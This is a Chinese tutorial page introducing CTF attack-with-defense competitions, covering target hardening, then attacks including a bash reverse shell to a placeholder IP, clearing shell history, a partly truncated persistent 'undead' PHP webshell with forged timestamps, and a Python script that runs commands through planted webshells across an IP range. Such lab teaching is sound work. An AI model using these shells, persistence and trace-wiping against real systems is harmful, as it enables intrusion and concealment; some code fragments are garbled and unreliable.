当前位置:

首页 > 编程开发 > CTFAWD入门学习手册

CTFAWD入门学习手册

本文目录

    AWD赛制是网络安全攻防实战,需先部署站点:dump源码并扫描后门,备份数据库,修改弱口令,关闭不必要端口,部署WAF防御。攻击阶段利用弱口令、后门、nmap扫描、WEB漏洞获取flag,并通过反弹shell或不死马实现持久控制。

    引文

    AWD赛制,全称Attack With Defense,是网络安全竞赛里最考验真功夫的玩法之一。简单说,它把真实网络里的防护设备、配置抽象成一个封闭的对抗环境,模拟企业或院校的典型网络拓扑,让参赛队伍一边攻一边守,既要渗透别人,还得防住自己。这种赛制最大的特点就是实战、实时、对抗——不拼理论,拼手速和策略。今天咱们就来聊聊AWD比赛里那些避不开的关键步骤。

    站点部署

    比赛一开场,你手头就会分配到一台甚至好几台靶机,主办方通常会给你SSH用户名、密码和虚拟IP。连上靶机之后,第一件事可不是急着去攻击,而是先把自家阵地扎稳。强烈推荐Xshell搭配Xftp,连上后先做下面几件事。

    CTFAWD入门学习手册

    dump源码

    第一件事,dump网站源码。用SSH工具把整个网站源码拷下来,至少复制两份,然后拿D盾扫一遍。为什么?因为对手可能直接删掉你的源码让靶机宕机,而且主办方经常在源码里留后门——你扫出来,既能修复自家漏洞,又能拿来当武器去打别人。

    数据库备份

    登录数据库,立刻备份。万一数据被删了,可以秒级恢复。

    mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库

    还原命令:

    mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库

    修改密码

    主办方给的密码往往很弱,极有可能被对手抢先登录搞破坏。所以快速改掉弱口令是保命操作。

    Linux修改SSH及本地密码:

    passwd

    修改MySQL登录密码:

    mysql>set password for root@localhost =password('xino');

    关闭不必要端口

    端口越多,漏洞入口越多。果断关掉不需要的服务,减少暴露面。

    CTFAWD入门学习手册

    部署WAF

    WAF(Web应用防火墙)能帮你分析流量,别人攻击你的时候,你就能看到他们的攻击手法。没有攻击思路?那就从流量里学,顺便反打回去。部署方式很简单:

    在每个PHP文件开头加上:

    require_once(waf.php);

    更省事的方法是在php.ini里配置自动包含:

    auto_prepend_file=;

    攻击(ATTACK)

    自家阵地稳了,确认没有明显漏洞之后,就可以开始打别人了。

    弱口令

    如果发现靶机存在弱口令,直接遍历IP段,找出存活机器,连接上去找FLAG,或者植入后门文件保持控制。

    自带后门

    靶机里通常会有主办方留下的后门木马,知道路径后写个脚本批量连接,拿FLAG效率极高。

    nmap

    扫C段存活主机,快速摸清敌情。

    .\nmap xxx.xxx.xxx.xxx/24

    把结果保存成TXT文件,方便后续写脚本定点打击。

    CTFAWD入门学习手册

    WEB攻击

    常见的攻击方式就那么几种,但实战中组合起来就很要命:

    文件读取:用伪协议直接读flag

    文件上传:绕过黑白名单上传一句话木马,连上工具查flag

    命令执行:通过system等函数遍历文件系统

    SQL注入:找注入点,注出flag

    找到漏洞后,第一时间写自动化脚本批量提交flag,别手动一个个点,浪费机会。然后继续找下一个漏洞。

    写入木马

    AWD是回合制,要想持续上分,就得长期控制别人的靶机。植入木马是常规操作,但得隐蔽,下面几个小技巧值得记住。

    bash反弹shell

    利用预留后门上传PHP文件并访问,然后用nc反弹shell:

    bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1
    nc -l -p 8080

    CTFAWD入门学习手册

    注意: bash命令会在root目录下生成~/.bash_history记录文件,必须清除掉,不然会暴露痕迹。

    不死马

    一个经典的不死马脚本,上传并访问后,会在路径下循环生成隐藏的.config.php文件,实现持久化控制。

    ';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2020-10-21 04:17:18" .config.php');
        usleep(5000);
    }
    ?>

    提交脚本

    比赛中几十台靶机,手动操作太慢,必须用脚本批量提交。这里给两个常用脚本的例子,可以根据实际环境调整:

    预留后门利用脚本(Python):

    import requests
    url_head="http://xxx.xx.xxx."    #网段
    url=""
    shell_addr="/Upload/index.php"
    passwd="xxxxx"                    #木马密码
    port="80"
    payload =  {passwd: 'system('cat /flag');'}
    webshelllist=open("webshelllist.txt","w")
    flag=open("firstround_flag.txt","w")
    for i in range(30,61):
        url=url_head+str(i)+":"+port+shell_addr
        try:
            res=requests.post(url,payload,timeout=1)
            if res.status_code == requests.codes.ok:
                result = url+" connect shell sucess,flag is "+res.text
                print result
                print >>flag,result
                print >>webshelllist,url+","+passwd
            else:
                print "shell 404"
        except:
            print url+" connect shell fail"
    webshelllist.close()
    flag.close()

    批量提交flag脚本(需根据规则修改):

    import sys
    import json
    import urllib
    import httplib
    server_host = ' '    #提交flag的服务器地址
    server_port = 80
    def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
        if not team_token or not flag:
            raise Exception('team token or flag wrong')
        conn = httplib.HTTPConnection(host, port, timeout=timeout)
        params = urllib.urlencode({
            #提交需要post的参数,根据情况修改
            'token': team_token,
            'flag': flag,
        })
        headers = {
            "Content-type": "application/x-www-form-urlencode"
        }
        conn.request('POST', '[submit_flag_dir]', params, headers)
        #第二个参数为提交flag的目录
        response = conn.getresponse()
        data = response.read()
        return json.loads(data)
    if __name__ == '__main__':
        if len(sys.argv) < 3:
            print 'usage: ./submitflag.py [team_token] [flag]'
            sys.exit()
        host = server_host
        if len(sys.argv) > 3:
            host = sys.argv[3]
        print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

    防御(DEFENSE)

    攻击和防御是硬币的两面。前面已经讲了不少防御技巧,比如改弱口令、部署WAF,这里再补充几个常用命令和思路。

    查找flag位置:

    find / -name *flag*

    查找password:

    find .|xargs grep "password"

    查看已建立的连接和进程:

    netstat -antulp | grep EST

    结束进程:

    kill PID
    killall <进程名> 

    检测TCP连接数量:

    netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn

    chattr命令防止关键文件被修改:

    chattr +i /etc/resolv.conf

    流量监控: 别人访问你靶机时,请求的URL可能就是攻击payload。记录下这些流量,就能反打回去。一个简单的PHP监控脚本如下:

    '.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
    // log记录
    $fh = fopen("log.txt", "a");
    fwrite($fh, $logadd);
    fclose($fh);
    ?>

    结语

    AWD是CTF里最见真章的赛制,今天分享的这些入门知识点,从站点部署到攻击防御,再到脚本化提交,基本覆盖了比赛中的常见场景。当然,实战中情况千变万化,多练、多复盘,手感自然就来了。希望这篇内容能帮你少走些弯路。

    本文内容来源于网友投稿,如有侵权请联系删除。
    作者最新文章
    编程开发
    相关文章 更多
    PHP递归性能优化技巧与迭代替代方案
    PHP递归性能优化技巧与迭代替代方案

    解析PHP递归函数在树形数据处理中的性能瓶颈,提供预加载数据消除I/O、使用显式栈替代深层递归的实战方案,帮助开发者在代码可读性与执行效率间做出合理取舍。

    Java测试中怎么使用Mockito模拟依赖对象
    Java测试中怎么使用Mockito模拟依赖对象

    详细讲解在Java单元测试中如何使用Mockito模拟依赖对象,包括引入依赖、创建Mock、打桩返回值、行为验证以及Mock与Spy的核心差异和常见陷阱排查。

    链表删除节点的时间复杂度是多少及其详细分析
    链表删除节点的时间复杂度是多少及其详细分析

    详细分析链表删除节点的时间复杂度,深入探讨单链表与双向链表在不同已知前提下的查找与删除开销,并结合完整代码与清晰图解进行对比总结。

    codex如何配置模型参数及文件设置教程
    codex如何配置模型参数及文件设置教程

    想知道如何让AI写出的代码更贴合你的习惯?本文手把手教你在VS Code中调整Codex相关模型参数,通过修改配置文件优化温度值和令牌限制,解决代码建议不准确或响应慢的问题。

    Claude Code AI编程工具实力揭秘与编程助手实测
    Claude Code AI编程工具实力揭秘与编程助手实测

    通过实测展示Claude Code在终端中如何理解自然语言指令、自动修改代码文件并处理复杂编程任务,帮助开发者评估其实际辅助能力。

    winforms教程自学入门与基础开发步骤详解
    winforms教程自学入门与基础开发步骤详解

    本教程详细讲解如何使用Visual Studio创建WinForms项目,通过添加按钮和标签控件并编写点击事件代码,实现一个基础的计数器功能,适合C#初学者快速上手Windows窗体应用开发。

    Cursor自动补全设置教程教你快速开启代码补全功能
    Cursor自动补全设置教程教你快速开启代码补全功能

    详解Cursor编辑器中自动补全功能的开启与优化设置,涵盖Tab触发机制、上下文窗口调整及模型切换,帮助开发者解决补全延迟、干扰大等问题,提升编码流畅度。

    pandas的数据格式怎么转换和设置方法教程
    pandas的数据格式怎么转换和设置方法教程

    详解Pandas中数据格式转换的核心方法,包括astype强制转换、to_numeric容错处理及日期解析技巧,解决常见类型错误并提升数据处理效率。

    VS Code中文设置方法 简体语言包安装与切换教程
    VS Code中文设置方法 简体语言包安装与切换教程

    详细介绍在Visual Studio Code中安装Chinese (Simplified)语言包的方法,包括通过扩展市场搜索、安装及自动重启切换至简体中文界面的完整步骤,帮助开发者快速将编辑器本地化。

    cursor安装过程无法更改安装位置的解决方法
    cursor安装过程无法更改安装位置的解决方法

    针对Cursor安装包默认锁定C盘且无路径选择界面的问题,提供通过手动移动文件并创建目录联结(Symbolic Link)的解决方案,实现将软件安装在其他磁盘分区。

    查看更多
    精品专题 更多
    装机必备
    装机必备

    正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

    Windows
    Windows

    正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

    macOS软件
    macOS软件

    正软商城macOS软件专区,精选适用于Mac电脑的办公、设计、影音、效率、开发和系统工具,提供软件功能介绍、macOS兼容版本、正版授权及购买下载服务。

    Mac软件 更多
    photoshop
    photoshop
    Windows、macOS 、 iPad

    Photoshop 2026 是 Adobe 推出的专业图像处理与视觉设计软件,支持 Windows、macOS 和 iPad 等平台,广泛应用于摄影修图、电商设计、平面海报、数字绘画及视觉合成等创作场景。

    Blender
    Blender
    Windows、macOS 和 Linux

    Blender 是一款免费开源、跨平台的专业 3D 创作软件,集建模、动画、渲染、视频编辑与视觉合成等功能于一体,广泛应用于影视动画、游戏设计和建筑可视化等领域。软件支持 Cycles 物理渲染器与 Eevee 实时渲染引擎,并提供多边形建模、骨骼绑定、物理模拟等专业工具。Blender 兼容 Windows、macOS 和 Linux 系统,安装包轻巧、运行流畅,依托活跃的全球开发者社区持续更新,是从初学者到专业创作者都值得选择的正版 3D 创作工具。

    灵活计算器
    灵活计算器
    macOS/iOS/Android

    灵活计算器是一款笔记式算数应用,支持实时计算、动态关联和云端同步功能。记录、整理和输出之间的过渡会更自然,适合长期写作、做笔记或持续沉淀个人内容。

    WINDOWS 更多
    3dmax(3ds max)
    3dmax(3ds max)
    Windows

    Autodesk 3ds Max 是一款专业的三维建模、动画与渲染软件,广泛应用于建筑可视化、游戏开发、影视动画、广告设计和产品展示等领域。

    photoshop
    photoshop
    Windows、macOS 、 iPad

    Photoshop 2026 是 Adobe 推出的专业图像处理与视觉设计软件,支持 Windows、macOS 和 iPad 等平台,广泛应用于摄影修图、电商设计、平面海报、数字绘画及视觉合成等创作场景。

    Blender
    Blender
    Windows、macOS 和 Linux

    Blender 是一款免费开源、跨平台的专业 3D 创作软件,集建模、动画、渲染、视频编辑与视觉合成等功能于一体,广泛应用于影视动画、游戏设计和建筑可视化等领域。软件支持 Cycles 物理渲染器与 Eevee 实时渲染引擎,并提供多边形建模、骨骼绑定、物理模拟等专业工具。Blender 兼容 Windows、macOS 和 Linux 系统,安装包轻巧、运行流畅,依托活跃的全球开发者社区持续更新,是从初学者到专业创作者都值得选择的正版 3D 创作工具。